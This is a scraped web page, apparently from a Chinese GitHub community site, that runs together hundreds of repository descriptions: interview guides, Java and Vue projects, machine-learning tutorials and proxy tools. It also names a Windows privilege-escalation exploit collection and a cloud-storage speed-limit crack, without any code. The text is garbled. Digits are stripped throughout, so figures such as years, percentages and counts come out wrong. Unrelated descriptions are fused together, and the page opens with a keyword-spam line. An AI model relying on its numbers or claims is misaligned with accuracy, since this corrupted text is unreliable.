拖拽 大家来找茬 基于Vue2 Nodejs MySQL的博客 有后台管理系统 支持 登陆 注册 留言 评论 回复 点赞长江证券郑州大学超市管理系统天安门坦克桌面行驶工况茶马古道金融文本情感自动黄河银行营销通许章润
gege-circle
这里是GitHub的草场,也是戈戈圈爱好者的交流地,主要讨论动漫、游戏、科技、人文、生活等所有话题,欢迎各位小伙伴们在此讨论趣事。This is GitHub grassland, and the community place for Gege circle lovers, mainly discusses anime, games, technology, lifing and other topics. You are welcome to share interest things here. 缺氧修改器 捏脸 反光板 MySQL数据库 玉米杂草数据集 销售系统开发 疫情期间网民情绪识别比赛 996icu 预测结果导出 赖伟林刺杀小说家 购物商场 英语词汇量小程序 联级选择器Bitcoin区块链 技术面试必备基础知识 Leetcode 计算机操作系统 计算机网络 系统设计 Java学习 面试指南 一份涵盖大部分 Java 程序员所需要掌握的核心知识 准备 Java 面试 首选 JavaGuide Python 1 天从新手到大师刷算法全靠套路 认准 labuladong 就够了 免费的计算机编程类中文书籍 欢迎投稿用动画的形式呈现解LeetCode题目的思路 互联网 Java 工程师进阶知识完全扫盲 涵盖高并发 分布式 高可用 微服务 海量数据处理等领域知识后端架构师技术图谱mall项目是一套电商系统 包括前台商城系统及后台管理系统 基于SpringBoot MyBatis实现 采用Docker容器化部署 前台商城系统包含首页门户 商品推荐 商品搜索 商品展示 购物车 订单流程 会员中心 客户服务 帮助中心等模块 后台管理系统包含商品管理 订单管理 会员管理 促销管理 运营管理 内容管理 统计报表 财务管理 权限管理 设置等模块 微信小程序开发资源汇总 最全中华古诗词数据库 唐宋两朝近一万四千古诗人 接近5 5万首唐诗加26万宋诗 两宋时期1564位词人 21 5 首词 uni app 是使用 Vue 语法开发小程序 H5 App的统一框架2 21年最新总结 阿里 腾讯 百度 美团 头条等技术面试题目 以及答案 专家出题人分析汇总 科学上网 自由上网 翻墙 软件 方法 一键翻墙浏览器 免费账号 节点分享 vps一键搭建脚本 教程AiLearning 机器学习 MachineLearning ML 深度学习 DeepLearning DL 自然语言处理 NLP123 6智能刷票 订票开放式跨端跨框架解决方案 支持使用 React Vue Nerv 等框架来开发微信 京东 百度 支付宝 字节跳动 QQ 小程序 H5 React Native 等应用 taro zone 掘金翻译计划 可能是世界最大最好的英译中技术社区 最懂读者和译者的翻译平台 no evil 程序员找工作黑名单 换工作和当技术合伙人需谨慎啊 更新有赞 算法面试 算法知识 针对小白的算法训练 还包括 1 阿里 字节 滴滴 百篇大厂面经汇总 2 千本开源电子书 3 百张思维导图 右侧来个 star 吧 English version supported 955 不加班的公司名单 工作 955 work–life balance 工作与生活的平衡 诊断利器Arthas The Way to Go 中文译本 中文正式名 Go 入门指南 Java面试 Java学习指南 一份涵盖大部分Java程序员所需要掌握的核心知识 教程 技术栈示例代码 快速简单上手教程 2 17年买房经历总结出来的买房购房知识分享给大家 希望对大家有所帮助 买房不易 且买且珍惜http下载工具 基于http代理 支持多连接分块下载 动手学深度学习 面向中文读者 能运行 可讨论 中英文版被全球175所大学采用教学 阿里云计算平台团队出品 为监控而生的数据库连接池程序员简历模板系列 包括PHP程序员简历模板 iOS程序员简历模板 Android程序员简历模板 Web前端程序员简历模板 Java程序员简历模板 C C 程序员简历模板 NodeJS程序员简历模板 架构师简历模板以及通用程序员简历模板采用自身模块规范编写的前端 UI 框架 遵循原生 HTML CSS JS 的书写形式 极低门槛 拿来即用 贵校课程资料民间整理 企业级低代码平台 前后端分离架构强大的代码生成器让前后端代码一键生成 无需写任何代码 引领新的开发模式OnlineCoding 代码生成 手工MERGE 帮助Java项目解决7 %重复工作 让开发更关注业务 既能快速提高效率 帮助公司节省成本 同时又不失灵活性 我是依扬 木易杨 公众号 高级前端进阶 作者 每天搞定一道前端大厂面试题 祝大家天天进步 一年后会看到不一样的自己 冴羽写博客的地方 预计写四个系列 JavaScript深入系列 JavaScript专题系列 ES6系列 React系列 中文分词 词性标注 命名实体识别 依存句法分析 语义依存分析 新词发现 关键词短语提取 自动摘要 文本分类聚类 拼音简繁转换 自然语言处理flutter 开发者帮助 APP 包含 flutter 常用 14 组件的demo 演示与中文文档 下拉刷新 上拉加载 二级刷新 淘宝二楼智能下拉刷新框架 支持越界回弹 越界拖动 具有极强的扩展性 集成了几十种炫酷的Header和 Footer 该项目已成功集成 actuator 监控 admin 可视化监控 logback 日志 aopLog 通过AOP记录web请求日志 统一异常处理 json级别和页面级别 freemarker 模板引擎 thymeleaf 模板引擎 Beetl 模板引擎 Enjoy 模板引擎 JdbcTemplate 通用JDBC操作数据库 JPA 强大的ORM框架 mybatis 强大的ORM框架 通用Mapper 快速操作Mybatis PageHelper 通用的Mybatis分页插件 mybatis plus 快速操作Mybatis BeetlSQL 强大的ORM框架 u Python资源大全中文版 包括 Web框架 网络爬虫 模板引擎 数据库 数据可视化 图片处理等 由 开源前哨 和 Python开发者 微信公号团队维护更新 吴恩达老师的机器学习课程个人笔记To Be Top Javaer Java工程师成神之路循序渐进 学习博客Spring系列源码 mrbird cc谢谢可能是让你受益匪浅的英语进阶指南镜像网易云音乐 Node js API service快速 简单避免OOM的java处理Excel工具基于 Vue js 的小程序开发框架 从底层支持 Vue js 语法和构建工具体系 中文版 Apple 官方 Swift 教程本项目曾冲到全球第一 干货集锦见本页面最底部 另完整精致的纸质版 编程之法 面试和算法心得 已在京东 当当上销售好耶 是女装Security Guide for Developers 实用性开发人员安全须知 阿里巴巴 MySQL binlog 增量订阅 消费组件 ECMAScript 6入门 是一本开源的 JavaScript 语言教程 全面介绍 ECMAScript 6 新增的语法特性 C C 技术面试基础知识总结 包括语言 程序库 数据结构 算法 系统 网络 链接装载库等知识及面试经验 招聘 内推等信息 一款优秀的开源博客发布应用 Solutions to LeetCode by Go 1 % test coverage runtime beats 1 % LeetCode 题解分布式任务调度平台XXL JOB 谷粒 Chrome插件英雄榜 为优秀的Chrome插件写一本中文说明书 让Chrome插件英雄们造福人类公众号 加1 同步更新互联网公司技术架构 微信 淘宝 微博 腾讯 阿里 美团点评 百度 Google Facebook Amazon eBay的架构 欢迎PR补充IntelliJ IDEA 简体中文专题教程程序员技能图谱前端面试每日 3 1 以面试题来驱动学习 提倡每日学习与思考 每天进步一点 每天早上5点纯手工发布面试题 死磕自己 愉悦大家 4 道前端面试题全面覆盖小程序 软技能 华为鸿蒙操作系统 互联网首份程序员考公指南 由3位已经进入体制内的前大厂程序员联合献上 Mac微信功能拓展 微信插件 微信小助手 A plugin for Mac WeChat 机器学习 西瓜书 公式推导解析 在线阅读地址一款轻量级 高性能 功能强大的内网穿透代理服务器 支持tcp udp socks5 http等几乎所有流量转发 可用来访问内网网站 本地支付接口调试 ssh访问 远程桌面 内网dns解析 内网socks5代理等等 并带有功能强大的web管理端一款面向泛前端产品研发全生命周期的效率平台 文言文編程語言清华大学计算机系课程攻略面向云原生微服务的高可用流控防护组件 On Java 8 中文版 本文原文由知名 Hacker Eric S Raymond 所撰寫 教你如何正確的提出技術問題並獲得你滿意的答案 React Native指南汇集了各类react native学习资源 开源App和组件1 Days Of ML Code中文版千古前端图文教程 超详细的前端入门到进阶学习笔记 从零开始学前端 做一名精致优雅的前端工程师 公众号 千古壹号 作者 基于 React 的渐进式研发框架 ice work视频播放器支持弹幕 外挂字幕 支持滤镜 水印 gif截图 片头广告 中间广告 多个同时播放 支持基本的拖动 声音 亮度调节 支持边播边缓存 支持视频自带rotation的旋转 9 27 之类 重力旋转与手动旋转的同步支持 支持列表播放 列表全屏动画 视频加载速度 列表小窗口支持拖动 动画效果 调整比例 多分辨率切换 支持切换播放器 进度条小窗口预览 列表切换详情页面无缝播放 rtsp concat mpeg JumpServer 是全球首款开源的堡垒机 是符合 4A 的专业运维安全审计系统 Linux命令大全搜索工具 内容包含Linux命令手册 详解 学习 搜集 git io linux book Node js 包教不包会 by alsotang又一个小商城 litemall Spring Boot后端 Vue管理员前端 微信小程序用户前端 Vue用户移动端微信 跳一跳 Python 辅助Java资源大全中文版 包括开发库 开发工具 网站 博客 微信 微博等 由伯乐在线持续更新 python模拟登陆一些大型网站 还有一些简单的爬虫 希望对你们有所帮助 ️ 如果喜欢记得给个star哦 C 那些事 网络爬虫实战 淘宝 京东 网易云 B站 123 6 抖音 笔趣阁 漫画小说下载 音乐电影下载等deeplearning ai 吴恩达老师的深度学习课程笔记及资源 Spring Boot基础教程 Spring Boot 2 x版本连载中 帮助 Android App 进行组件化改造的路由框架 最接近原生APP体验的高性能框架基于Vue3 Element Plus 的后台管理系统解决方案程序员如何优雅的挣零花钱 2 版 升级为小书了 从Java基础 JavaWeb基础到常用的框架再到面试题都有完整的教程 几乎涵盖了Java后端必备的知识点spring boot 实践学习案例 是 spring boot 初学者及核心技术巩固的最佳实践 另外写博客 用 OpenWrite 最好用的 V2Ray 一键安装脚本 管理脚本中国程序员容易发音错误的单词 统计学习方法 的代码实现关于Python的面试题本项目将 动手学深度学习 Dive into Deep Learning 原书中的MXNet实现改为PyTorch实现 提高 Android UI 开发效率的 UI 库前端精读周刊 帮你理解最前沿 实用的技术 的奇技淫巧时间选择器 省市区三级联动 Python爬虫代理IP池 proxy pool LeetCode 刷题攻略 2 道经典题目刷题顺序 共6 w字的详细图解 视频难点剖析 5 余张思维导图 从此算法学习不再迷茫 来看看 你会发现相见恨晚 一个基于 electron 的音乐软件Flutter 超完整的开源项目 功能丰富 适合学习和日常使用 GSYGithubApp系列的优势 我们目前已经拥有四个版本 功能齐全 项目框架内技术涉及面广 完成度高 持续维护 配套文章 适合全面学习 对比参考 跨平台的开源Github客户端App 更好的体验 更丰富的功能 旨在更好的日常管理和维护个人Github 提供更好更方便的驾车体验Σ 同款Weex版本同款React Native版本 https g 这是一个用于显示当前网速 CPU及内存利用率的桌面悬浮窗软件 并支持任务栏显示 支持更换皮肤 是一个跨平台的强加密无特征的代理软件 零配置 V2rayU 基于v2ray核心的mac版客户端 用于科学上网 使用swift编写 支持vmess shadowsocks socks5等服务协议 支持订阅 支持二维码 剪贴板导入 手动配置 二维码分享等算法模板 最科学的刷题方式 最快速的刷题路径 你值得拥有 经典编程书籍大全 涵盖 计算机系统与网络 系统架构 算法与数据结构 前端开发 后端开发 移动开发 数据库 测试 项目与团队 程序员职业修炼 求职面试等wangEditor 轻量级web富文本框前端跨框架跨平台框架 每个 JavaScript 工程师都应懂的33个概念 leonardomso一个可以观看国内主流视频平台所有视频的客户端Android开发人员不得不收集的工具类集合 支付宝支付 微信支付 统一下单 微信分享 Zip4j压缩 支持分卷压缩与加密 一键集成UCrop选择圆形头像 一键集成二维码和条形码的扫描与生成 常用Dialog WebView的封装可播放视频 仿斗鱼滑动验证码 Toast封装 震动 GPS Location定位 图片缩放 Exif 图片添加地理位置信息 经纬度 蛛网等级 颜色选择器 ArcGis VTPK 编译运行一下说不定会找到惊喜 123 6 购票助手 支持集群 多账号 多任务购票以及 Web 页面管理 Android广告图片轮播控件 内部基于ViewPager2实现 Indicator和UI都可以自定义 零代码 热更新 自动化 ORM 库 后端接口和文档零代码 前端 客户端 定制返回 JSON 的数据和结构 Linux Windows macOS 跨平台 V2Ray 客户端 支持使用 C Qt 开发 可拓展插件式设计 walle 瓦力 Devops开源项目代码部署平台基于 node js Mongodb 构建的后台系统 js 源码解析一个涵盖六个专栏分布式消息队列 分布式事务的仓库 希望胖友小手一抖 右上角来个 Star 感恩 1 24基于 vue element ui 的后台管理系统磁力链接聚合搜索中华人民共和国行政区划 省级 省份直辖市自治区 地级 城市 县级 区县 乡级 乡镇街道 村级 村委会居委会 中国省市区镇村二级三级四级五级联动地址数据 iOS开发常用三方库 插件 知名博客等等LeetCode题解 151道题完整版/中文文案排版指北最良心的 Python 教程 业内为数不多致力于极致体验的超强全自研跨平台 windows android iOS 流媒体内核 通过模块化自由组合 支持实时RTMP推流 RTSP推流 RTMP播放器 RTSP播放器 录像 多路流媒体转发 音视频导播 动态视频合成 音频混音 直播互动 内置轻量级RTSP服务等 比快更快 业界真正靠谱的超低延迟直播SDK 1秒内 低延迟模式下2 4 ms 一个 PHP 微信 SDK ️ 跨平台桌面端视频资源播放器 简洁无广告 免费高颜值 后台管理主线版本基于三者并行开发维护 同时支持电脑 手机 平板 切换分支查看不同的vue版本 element plus版本已发布 vue3 vue3 vue vue3 x vue js 程序无国界 但程序员有国界 中国国家尊严不容挑衅 如果您在特殊时期 此项目是机器学习 Machine Learning 深度学习 Deep Learning NLP面试中常考到的知识点和代码实现 也是作为一个算法工程师必会的理论基础知识 夜读 通过 bilibili 在线直播的方式分享 Go 相关的技术话题 每天大家在微信 telegram Slack 上及时沟通交流编程技术话题 GitHubDaily 分享内容定期整理与分类 欢迎推荐 自荐项目 让更多人知道你的项目 支持多家云存储的云盘系统机器学习相关教程DataX是阿里云DataWorks数据集成的开源版本 这里是写博客的地方 Halfrost Field 冰霜之地mall学习教程 架构 业务 技术要点全方位解析 mall项目 4 k star 是一套电商系统 使用现阶段主流技术实现 涵盖了等技术 采用Docker容器化部署 chick 是使用 Node js 和 MongoDB 开发的社区系统一个非常适合IT团队的在线API文档 技术文档工具汇总各大互联网公司容易考察的高频leetcode题 1 Chinese Word Vectors 上百种预训练中文词向量 Android开源弹幕引擎 烈焰弹幕使 ~深度学习框架PyTorch 入门与实战 网易云音乐命令行版本 对开发人员有用的定律 理论 原则和模式TeachYourselfCS 的中文翻译高颜值的第三方网易云播放器 支持 Windows macOS Linux spring cloud vue oAuth2 全家桶实战 前后端分离模拟商城 完整的购物流程 后端运营平台 可以实现快速搭建企业级微服务项目 支持微信登录等三方登录 Chinese sticker pack More joy 表情包的博物馆 Github最有毒的仓库 中国表情包大集合 聚欢乐 Lantern官方版本下载 蓝灯 翻墙 代理 科学上网 外网 加速器 梯子 路由一款入门级的人脸 视频 文字检测以及识别的项目 vue2 vue router vuex 入门项目PanDownload的个人维护版本 一个基于Spring Boot MyBatis的种子项目 用于快速构建中小型API RESTful API项目 iOS interview questions iOS面试题集锦 附答案 学习qq群或 Telegram 群交流为互联网IT人打造的中文版awesome go强大 可定制 易扩展的 ViewPager 指示器框架 是的最佳替代品 支持角标 更支持在非ViewPager场景下使用 使用hide show 切换Fragment或使用se Kubernetes中文指南 云原生应用架构实践手册For macOS 百度网盘 破解SVIP 下载速度限制 架构师技术图谱 助你早日成为架构师mall admin web是一个电商后台管理系统的前端项目 基于Vue Element实现 主要包括商品管理 订单管理 会员管理 促销管理 运营管理 内容管理 统计报表 财务管理 权限管理 设置等功能 网易云音乐第三方 编程随想 整理的 太子党关系网络 专门揭露赵国的权贵基于gin vue搭建的后台管理系统框架 集成jwt鉴权 权限管理 动态路由 分页封装 多点登录拦截 资源权限 上传下载 代码生成器 表单生成器 通用工作流等基础功能 五分钟一套CURD前后端代码 目VUE3版本正在重构 欢迎issue和pr 27天成为Java大神一个基于浏览器端 JS 实现的在线代理编程电子书 电子书 编程书籍 包括人工智能 大数据类 并发编程 数据库类 数据挖掘 新面试题 架构设计 算法系列 计算机类 设计模式 软件测试 重构优化 等更多分类ADB Usage Complete ADB 用法大全二维码生成器 支持 gif 动态图片二维码 Vim 从入门到精通阿布量化交易系统 股票 期权 期货 比特币 机器学习 基于python的开源量化交易 量化投资架构一个简洁优雅的hexo主题 Wiki of OI ICPC for everyone 某大型游戏线上攻略 内含炫酷算术魔法 Google 开源项目风格指南 中文版 Git AWS Google 镜像 SS SSR VMESS节点行业研究报告的知识储备库 cim cross IM 适用于开发者的分布式即时通讯系统微信小程序开源项目库汇总每天更新 全网热门 BT Tracker 列表 天用Go动手写 从零实现系列强大的哔哩哔哩增强脚本 下载视频 音乐 封面 弹幕 简化直播间 评论区 首页 自定义顶栏 删除广告 夜间模式 触屏设备支持Evil Huawei 华为作过的恶Android上一个优雅 万能自定义UI 仿iOS 支持垂直 水平方向切换 支持周视图 自定义周起始 性能高效的日历控件 支持热插拔实现的UI定制 支持标记 自定义颜色 农历 自定义月视图各种显示模式等 Canvas绘制 速度快 占用内存低 你真的想不到日历居然还可以如此优雅已不再维护科学上网插件的离线安装包储存在这里ThinkPHP Framework 十年匠心的高性能PHP框架 Java 程序员眼中的 Linux 一个支持多选 选原图和视频的图片选择器 同时有预览 裁剪功能 支持hsweb haʊs wɛb 是一个基于spring boot 2 x开发 首个使用全响应式编程的企业级后台管理系统基础项目 自动学习wxParse 微信小程序富文本解析自定义组件 支持HTML及markdown解析 newbee mall 项目 新蜂商城 是一套电商系统 包括 newbee mall 商城系统及 newbee mall admin 商城后台管理系统 基于 Spring Boot 2 X 及相关技术栈开发 前台商城系统包含首页门户 商品分类 新品上线 首页轮播 商品推荐 商品搜索 商品展示 购物车 订单结算 订单流程 个人订单管理 会员中心 帮助中心等模块 后台管理系统包含数据面板 轮播图管理 商品管理 订单管理 会员管理 分类管理 设置等模块 最全的前端资源汇总仓库 包括前端学习 开发资源 求职面试等 中文翻译手写实现李航 统计学习方法 书中全部算法 Python 抖音机器人 论如何在抖音上找到漂亮小姐姐? ️A static blog writing client 一个静态博客写作客户端 超级速查表 编程语言 框架和开发工具的速查表 单个文件包含一切你需要知道的东西 迁移学习前端低代码框架 通过 JSON 配置就能生成各种页面 技术面试最后反问面试官的话Machine Learning Yearning 中文版 机器学习训练秘籍 Andrew Ng 著越来越多的网站具有反爬虫特性 有的用图片隐藏关键数据 有的使用反人类的验证码 建立反反爬虫的代码仓库 通过与不同特性的网站做斗争 无恶意 提高技术 欢迎提交难以采集的网站 因工作原因 项目暂停 本项目收藏这些年来看过或者听过的一些不错的常用的上千本书籍 没准你想找的书就在这里呢 包含了互联网行业大多数书籍和面试经验题目等等 有人工智能系列 常用深度学习框架TensorFlow pytorch keras NLP 机器学习 深度学习等等 大数据系列 Spark Hadoop Scala kafka等 程序员必修系列 C C java 数据结构 linux 设计模式 数据库等等 人人影视bot 完全对接人人影视全部无删减资源Spring Cloud基础教程 持续连载更新中一个用于在 macOS 上平滑你的鼠标滚动效果或单独设置滚动方向的小工具 让你的滚轮爽如触控板阿里妈妈前端团队出品的开源接口管理工具RAP第二代超轻量级中文ocr 支持竖排文字识别 支持ncnn mnn tnn推理总模型仅4 7M 微信全平台 SDK Senparc Weixin for C 支持 NET Framework 及 NET Core NET 6 已支持微信公众号 小程序 小游戏 企业号 企业微信 开放平台 微信支付 JSSDK 微信周边等全平台 WeChat SDK for C 中文独立博客列表高效率 QQ 机器人支持库支持定制任何播放器SDK和控制层 OpenPower工作组收集汇总的医院开放数据Xray 基于 Nginx 的 VLESS XTLS 一键安装脚本 FlutterDemo合集 今天你fu了吗莫烦Python 中文AI教学中国特色 TabBar 一行代码实现 Lottie 动画TabBar 支持中间带 号的TabBar样式 自带红点角标 支持动态刷新 Flutter豆瓣客户端 Awesome Flutter Project 全网最1 %还原豆瓣客户端 首页 书影音 小组 市集及个人中心 一个不拉 img xuvip top douyademo mp4 基于SpringCloud2 1的微服务开发脚手架 整合了等 服务治理方面引入等 让项目开发快速进入业务开发 而不需过多时间花费在架构搭建上 持续更新中基于 Vue2 和 ECharts 封装的图表组件 SSR 去广告ACL规则 SS完整GFWList规则 Clash规则碎片 Telegram频道订阅地址和我一步步部署 kubernetes 集群搜集 整理 维护实用规则 中文自然语言处理相关资料基于SOA架构的分布式电商购物商城 前后端分离 前台商城 全家桶 后台管理系统等What happens when 的中文翻译 原仓库QMUI iOS 致力于提高项目 UI 开发效率的解决方案新型冠状病毒防疫信息收集平台告别枯燥 致力于打造 Python 实用小例子在线制作 sorry 为所欲为 的gifNodejs学习笔记以及经验总结 公众号 程序猿小卡 李宏毅 机器学习 笔记 在线阅读地址 Vue js 源码分析V部落 Vue SpringBoot实现的多用户博客管理平台 Android Signature V2 Scheme签名下的新一代渠道包打包神器Autoscroll Banner 无限循环图片 文字轮播器 多种编程语言实现 LeetCode 剑指 Offer 第 2 版 程序员面试金典 第 6 版 题解一套高质量的微信小程序 UI 组件库飞桨 官方模型库 包含多种学术前沿和工业场景验证的深度学习模型 中文 Python 笔记专门为刚开始刷题的同学准备的算法基地 没有最细只有更细 立志用动画将晦涩难懂的算法说的通俗易懂 版入门实例代码 实战教程 是一个高性能且低损耗的 goroutine 池 CVPR 2 21 论文和开源项目合集有 有 Python进阶 Intermediate Python 中文版 机器人视觉 移动机器人 VS SLAM ORB SLAM2 深度学习目标检测 yolov3 行为检测 opencv PCL 机器学习 无人驾驶后台管理系统解决方案创建在线课程 学术简历或初创网站 Chrome插件开发全攻略 配套完整Demo 欢迎clone体验QUANTAXIS 支持任务调度 分布式部署的 股票 期货 期权 港股 虚拟货币 数据 回测 模拟 交易 可视化 多账户 纯本地量化解决方案微信调试 各种WebView样式调试 手机浏览器的页面真机调试 便捷的远程调试手机页面 抓包工具 支持 HTTPS 无需USB连接设备 rich text 富文本编辑器 汉字拼音 hàn zì pīn yīn面向开发人员梳理的代码安全指南以撸代码的形式学习Python提供同花顺客户端 国金 华泰客户端 雪球的基金 股票自动程序化交易以及自动打新 支持跟踪 joinquant ricequant 模拟交易 和 实盘雪球组合 量化交易组件搜狐视频 sohu tv Redis私有云平台spring boot打造文件文档在线预览项目计算机基础 计算机网络 操作系统 数据库 Git 面试问题全面总结 包含详细的follow up question以及答案 全部采用 问题 追问 答案 的形式 即拿即用 直击互联网大厂面试 可用于模拟面试 面试前复习 短期内快速备战面试 首款微信 macOS 客户端撤回拦截与多开windows kernel exploits Windows平台提权漏洞集合权限管理系统 预览地址 47 1 4 7 138 loginpkuseg多领域中文分词工具一款完善的安全评估工具 支持常见 web 安全问题扫描和自定义 poc 使用之前务必先阅读文档零反射全动态Android插件框架Python入门网络爬虫之精华版分布式配置管理平台 中文 iOS Mac 开发博客列表周志华 机器学习 又称西瓜书是一本较为全面的书籍 书中详细介绍了机器学习领域不同类型的算法 例如 监督学习 无监督学习 半监督学习 强化学习 集成降维 特征选择等 记录了本人在学习过程中的理解思路与扩展知识点 希望对新人阅读西瓜书有所帮助 国内首个Spring Cloud微服务化RBAC的管理平台 核心采用前端采用d2 admin中台框架 记得上边点个star 关注更新Apache ECharts incubating 的微信小程序版本C 资源大全中文版 标准库 Web应用框架 人工智能 数据库 图片处理 机器学习 日志 代码分析等 由 开源前哨 和 CPP开发者 微信公号团队维护更新 stackoverflow上Java相关回答整理翻译 基于Google Flutter的WanAndroid客户端 支持Android和iOS 包括BLoC RxDart 国际化 主题色 启动页 引导页 本代码库是作者小傅哥多年从事一线互联网 Java 开发的学习历程技术汇总 旨在为大家提供一个清晰详细的学习教程 侧重点更倾向编写Java核心内容 如果本仓库能为您提供帮助 请给予支持 关注 点赞 分享 C 资源大全中文版 包括了 构建系统 编译器 数据库 加密 初中高的教程 指南 书籍 库等 NET m3u8 downloader 开源的命令行m3u8 HLS dash下载器 支持普通AES 128 CBC解密 多线程 自定义请求头等 支持简体中文 繁体中文和英文 English Supported 国内低代码平台从业者交流tcc transaction是TCC型事务java实现设计模式 Golang实现 研磨设计模式 读书笔记Vue数据可视化组件库 类似阿里DataV 大屏数据展示 提供SVG的边框及装饰 图表 水位图 飞线图等组件 简单易用 长期更新 React版已发布 自己动手做聊天机器人教程 RecyclerView侧滑菜单 Item拖拽 滑动删除Item 自动加载更多 HeaderView FooterView Item分组黏贴 腾讯物联网终端操作系统一个小巧 轻量的浏览器内核 用来取代wke和libcef包含美颜等4 余种实时滤镜相机 可拍照 录像 图片修改springboot 框架与其它组件结合如等用深度学习对对联 技术面试必备基础知识 Leetcode 计算机操作系统 计算机网络 系统设计 Java学习 面试指南 一份涵盖大部分 Java 程序员所需要掌握的核心知识 准备 Java 面试 首选 JavaGuide 用动画的形式呈现解LeetCode题目的思路 互联网 Java 工程师进阶知识完全扫盲 涵盖高并发 分布式 高可用 微服务 海量数据处理等领域知识mall项目是一套电商系统 包括前台商城系统及后台管理系统 基于SpringBoot MyBatis实现 采用Docker容器化部署 前台商城系统包含首页门户 商品推荐 商品搜索 商品展示 购物车 订单流程 会员中心 客户服务 帮助中心等模块 后台管理系统包含商品管理 订单管理 会员管理 促销管理 运营管理 内容管理 统计报表 财务管理 权限管理 设置等模块 GitHub中文排行榜 帮助你发现高分优秀中文项目 更高效地吸收国人的优秀经验成果 榜单每周更新一次 敬请关注 算法面试 算法知识 针对小白的算法训练 还包括 1 阿里 字节 滴滴 百篇大厂面经汇总 2 千本开源电子书 3 百张思维导图 右侧来个 star 吧 English version supported 诊断利器Arthas教程 技术栈示例代码 快速简单上手教程 http下载工具 基于http代理 支持多连接分块下载阿里云计算平台团队出品 为监控而生的数据库连接池 企业级低代码平台 前后端分离架构强大的代码生成器让前后端代码一键生成 无需写任何代码 引领新的开发模式OnlineCoding 代码生成 手工MERGE 帮助Java项目解决7 %重复工作 让开发更关注业务 既能快速提高效率 帮助公司节省成本 同时又不失灵活性 下拉刷新 上拉加载 二级刷新 淘宝二楼智能下拉刷新框架 支持越界回弹 越界拖动 具有极强的扩展性 集成了几十种炫酷的Header和 Footer 该项目已成功集成 actuator 监控 admin 可视化监控 logback 日志 aopLog 通过AOP记录web请求日志 统一异常处理 json级别和页面级别 freemarker 模板引擎 thymeleaf 模板引擎 Beetl 模板引擎 Enjoy 模板引擎 JdbcTemplate 通用JDBC操作数据库 JPA 强大的ORM框架 mybatis 强大的ORM框架 通用Mapper 快速操作Mybatis PageHelper 通用的Mybatis分页插件 mybatis plus 快速操作Mybatis BeetlSQL 强大的ORM框架 u 微人事是一个前后端分离的人力资源管理系统 项目采用SpringBoot Vue开发 秒杀系统设计与实现 互联网工程师进阶与分析 To Be Top Javaer Java工程师成神之路循序渐进 学习博客Spring系列源码 mrbird cc快速 简单避免OOM的java处理Excel工具阿里巴巴 MySQL binlog 增量订阅 消费组件 一款优秀的开源博客发布应用 分布式任务调度平台XXL JOB 一款面向泛前端产品研发全生命周期的效率平台 面向云原生微服务的高可用流控防护组件 视频播放器支持弹幕 外挂字幕 支持滤镜 水印 gif截图 片头广告 中间广告 多个同时播放 支持基本的拖动 声音 亮度调节 支持边播边缓存 支持视频自带rotation的旋转 9 27 之类 重力旋转与手动旋转的同步支持 支持列表播放 列表全屏动画 视频加载速度 列表小窗口支持拖动 动画效果 调整比例 多分辨率切换 支持切换播放器 进度条小窗口预览 列表切换详情页面无缝播放 rtsp concat mpeg 又一个小商城 litemall Spring Boot后端 Vue管理员前端 微信小程序用户前端 Vue用户移动端基于Spring SpringMVC Mybatis分布式敏捷开发系统架构 提供整套公共微服务服务模块 集中权限管理 单点登录 内容管理 支付中心 用户管理 支持第三方登录 微信平台 存储系统 配置中心 日志分析 任务和通知等 支持服务治理 监控和追踪 努力为中小型企业打造全方位J2EE企业级开发解决方案 项目基于的前后端分离的后台管理系统 项目采用分模块开发方式 权限控制采用 RBAC 支持数据字典与数据权限管理 支持一键生成前后端代码 支持动态路由 史上最简单的Spring Cloud教程源码 CAT 作为服务端项目基础组件 提供了 Java C C Node js Python Go 等多语言客户端 已经在美团点评的基础架构中间件框架 MVC框架 RPC框架 数据库框架 缓存框架等 消息队列 配置系统等 深度集成 为美团点评各业务线提供系统丰富的性能指标 健康状况 实时告警等 spring boot 实践学习案例 是 spring boot 初学者及核心技术巩固的最佳实践 另外写博客 用 OpenWrite Spring Boot基础教程 Spring Boot 2 x版本连载中 帮助 Android App 进行组件化改造的路由框架 提高 Android UI 开发效率的 UI 库时间选择器 省市区三级联动 Luban 鲁班可能是最接近微信朋友圈的图片压缩算法 Gitee 最有价值开源项目 小而全而美的第三方登录开源组件 目前已支持Github Gitee 微博 钉钉 百度 Coding 腾讯云开发者平台 OSChina 支付宝 QQ 微信 淘宝 Google Facebook 抖音 领英 小米 微软 今日头条人人 华为 企业微信 酷家乐 Gitlab 美团 饿了么 推特 飞书 京东 阿里云 喜马拉雅 Amazon Slack和 Line 等第三方平台的授权登录 Login so easy 今日头条屏幕适配方案终极版 一个极低成本的 Android 屏幕适配方案 Banner 2 来了 Android广告图片轮播控件 内部基于ViewPager2实现 Indicator和UI都可以自定义 零代码 热更新 自动化 ORM 库 后端接口和文档零代码 前端 客户端 定制返回 JSON 的数据和结构一个涵盖六个专栏分布式消息队列 分布式事务的仓库 希望胖友小手一抖 右上角来个 Star 感恩 1 24Mybatis通用分页插件OkGo 3 震撼来袭 该库是基于 协议 封装了 OkHttp 的网络请求框架 比 Retrofit 更简单易用 支持 RxJava RxJava2 支持自定义缓存 支持批量断点下载管理和批量上传管理功能含 Flink 入门 概念 原理 实战 性能调优 源码解析等内容 涉及等内容的学习案例 还有 Flink 落地应用的大型项目案例 PVUV 日志存储 百亿数据实时去重 监控告警 分享 欢迎大家支持我的专栏 大数据实时计算引擎 Flink 实战与性能优化 安卓平台上的JavaScript自动化工具 ️一个整合了大量主流开源项目高度可配置化的 Android MVP 快速集成框架 Spring源码阅读大数据入门指南 android 4 4以上沉浸式状态栏和沉浸式导航栏管理 适配横竖屏切换 刘海屏 软键盘弹出等问题 可以修改状态栏字体颜色和导航栏图标颜色 以及不可修改字体颜色手机的适配 适用于一句代码轻松实现 以及对bar的其他设置 详见README 简书请参考 www jianshu com p 2a884e211a62业内为数不多致力于极致体验的超强全自研跨平台 windows android iOS 流媒体内核 通过模块化自由组合 支持实时RTMP推流 RTSP推流 RTMP播放器 RTSP播放器 录像 多路流媒体转发 音视频导播 动态视频合成 音频混音 直播互动 内置轻量级RTSP服务等 比快更快 业界真正靠谱的超低延迟直播SDK 1秒内 低延迟模式下2 4 ms DataX是阿里云DataWorks数据集成的开源版本 mall学习教程 架构 业务 技术要点全方位解析 mall项目 4 k star 是一套电商系统 使用现阶段主流技术实现 涵盖了等技术 采用Docker容器化部署 Android开源弹幕引擎 烈焰弹幕使 ~spring cloud vue oAuth2 全家桶实战 前后端分离模拟商城 完整的购物流程 后端运营平台 可以实现快速搭建企业级微服务项目 支持微信登录等三方登录 一个基于Spring Boot 